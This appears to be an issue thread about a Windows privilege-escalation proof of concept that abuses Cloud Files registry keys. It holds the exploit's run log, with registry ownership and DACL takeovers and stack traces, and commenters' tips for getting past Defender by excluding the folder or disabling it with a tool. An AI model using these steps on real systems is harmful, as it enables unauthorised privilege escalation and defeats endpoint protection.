New Error

[babykuteok15-pixel]

It doesn't worked correctly in all of the window versions.
Espcially, in windows 10, "System.ArgumentException: Failed to run stage 1" error occured.
But in windows 11, it worked perfectly.
You are a genius.

[babykuteok15-pixel]

E:>PoC_AbortHydration_ArbitraryRegKey_EoP.exe
In force token thread thread:8884 - process:5188
Change detected.
Opening for EnumerateSubKeys, WriteDac, WriteOwner
Deleting \REGISTRY\USER.DEFAULT\Software\Policies\Microsoft\CloudFiles\BlockedApps
Opening for WriteDac
Opened for WriteDac
Opening for WriteOwner
Opened for WriteOwner
Opening for EnumerateSubKeys, Delete
Opened for enumerate.
Deleting \REGISTRY\USER.DEFAULT\Software\Policies\Microsoft\CloudFiles\BlockedApps\317837ba569a986624d1bc18ac4b76ea4668aa14d226ebfb2d1dd0da3198e3e5
Opening for WriteDac
Opened for WriteDac
Opening for WriteOwner
Opened for WriteOwner
Opening for EnumerateSubKeys, Delete
Opened for enumerate.
NtApiDotNet.NtException: (0xC0000121) - An attempt has been made to remove a file or directory that cannot be deleted.
at NtApiDotNet.NtObjectUtils.ToNtException(NtStatus status, Boolean throw_on_error)
at PoC_AbortHydration_ArbitraryRegKey_EoP.Program.ForceKeyDeleteKey(NtKey root, String name)
at PoC_AbortHydration_ArbitraryRegKey_EoP.Program.DeleteRegistryTree(NtKey root)
at PoC_AbortHydration_ArbitraryRegKey_EoP.Program.Stage2()
at PoC_AbortHydration_ArbitraryRegKey_EoP.Program.Main(String[] args)
Opening for Delete
Cleaning up link \REGISTRY\USER.DEFAULT\Software\Policies\Microsoft\CloudFiles\BlockedApps
NtApiDotNet.NtException: (0xC0000121) - An attempt has been made to remove a file or directory that cannot be deleted.
at NtApiDotNet.NtObjectUtils.ToNtException(NtStatus status, Boolean throw_on_error)
at PoC_AbortHydration_ArbitraryRegKey_EoP.Program.Stage3()
at PoC_AbortHydration_ArbitraryRegKey_EoP.Program.Main(String[] args)

Why did it happen?

[babykuteok15-pixel]

How to bypass this?

[ni5o]

How to bypass this?

exclude the folder

[babykuteok15-pixel]

According to my experience, we have to execute the poc after disabled defender using undefend.

[Newhope81]

According to my experience, we have to execute the poc after disabled defender using undefend.

what's the point if you already have admin privilege?